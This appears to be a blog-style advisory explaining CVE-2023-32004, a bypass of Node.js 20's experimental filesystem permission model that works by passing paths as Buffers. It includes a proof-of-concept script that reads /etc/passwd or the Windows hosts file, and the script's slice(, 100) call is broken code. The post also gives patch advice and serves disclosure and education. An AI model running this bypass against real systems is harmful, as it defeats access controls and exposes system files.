A new security vulnerability, CVE-2023-32004, made headlines for Node.js 20 users, especially those experimenting with Node's *experimental permission model*. This flaw allows attackers to sidestep filesystem permissions by exploiting the way Node.js mishandles file paths when provided as Buffers. Below, we’ll break down what happened, how it works, show you some code, and give links for more info.

> Note: This affects only Node.js 20+ when experimental permission model is enabled. By default, this model is NOT active in production.

What happened?

Node.js 20 rolled out an *experimental permission model* so developers could restrict what files and directories their code can access at runtime. Ideally, Node would block any unauthorized file reads/writes, keeping your system safe from dodgy dependencies.

But a bug in how Node.js checks file permissions means that passing file paths as a Buffer (instead of a string) lets you skip these checks entirely. This path verification bypass means evil code can read or write any file—even if permissions block it in string form!

Technical Details

Node's file system APIs (fs.readFile, fs.writeFile, etc.) accept both string file paths and Buffers. The experimental permission model expected paths in string form, so only those were properly checked. When a Buffer slipped through, *permission checks were not applied*, handing attackers a dangerous loophole.

This is a *classic path traversal vulnerability*—but enabled only by Buffer objects.

Vulnerable Code Example

Below is a simple Node.js app that tries to read /etc/passwd (on Linux) or C:\Windows\system32\drivers\etc\hosts (on Windows). It shouldn’t work if permissions are set up... *unless* you deliver the path as a Buffer.

Enable read permissions only for current directory

node --experimental-permission --allow-fs-read=. exploit.js

2. exploit.js: Trying to break the permission boundaries

const fs = require('fs');

// This path is NOT allowed under --allow-fs-read=.
// Node should block this read attempt.
const forbiddenPath = process.platform === 'win32'
  ? 'C:\\Windows\\system32\\drivers\\etc\\hosts'
  : '/etc/passwd';

// 1. Fails: direct string (as expected)
try {
  fs.readFileSync(forbiddenPath, 'utf-8');
  console.log('String: Accessed forbidden file!');
} catch (err) {
  console.log('String: Permission denied, as expected');
}

// 2. Succeeds: path as Buffer (the bypass)
try {
  const bufferPath = Buffer.from(forbiddenPath, 'utf-8');
  const contents = fs.readFileSync(bufferPath, 'utf-8');
  console.log('Buffer: Accessed forbidden file!\n', contents.slice(, 100));
} catch (err) {
  console.log('Buffer: Permission denied—or exploit blocked (patched?)');
}

> On a *vulnerable* Node.js 20.x (before the fix), you’ll see unauthorized access succeed in the Buffer case, even if blocked for strings.

Exploit Scenario

Attacker’s Goal: Imagine you use an untrusted npm package, and your Node.js experimental permission model is enabled to block off /etc/passwd or C:\Windows. The attacker can craft their file access calls using Buffers, gaining filesystem access you thought was locked down.

References and Patch

- CVE-2023-32004 at NVD
- Node.js Security Release Blog
- GitHub Issue + Patch
- Node.js Permission Model Docs

How to Fix

1. Upgrade Node.js: Download the latest with the patch included (20.3.1+).
2. Review permission usage: Understand that experimental features may have hidden flaws—don’t use for strict security yet!

Summary

CVE-2023-32004 shows how *experimental features* (and just a type mismatch) can undermine major security goals. A small oversight—Buffer path handling—let attackers bypass file system permissions. Always keep your Node.js up to date, especially with experimental flags, and keep an eye on CVEs in your stack.

Timeline

Published on: 08/15/2023 16:15:00 UTC
Last modified on: 08/22/2023 14:13:00 UTC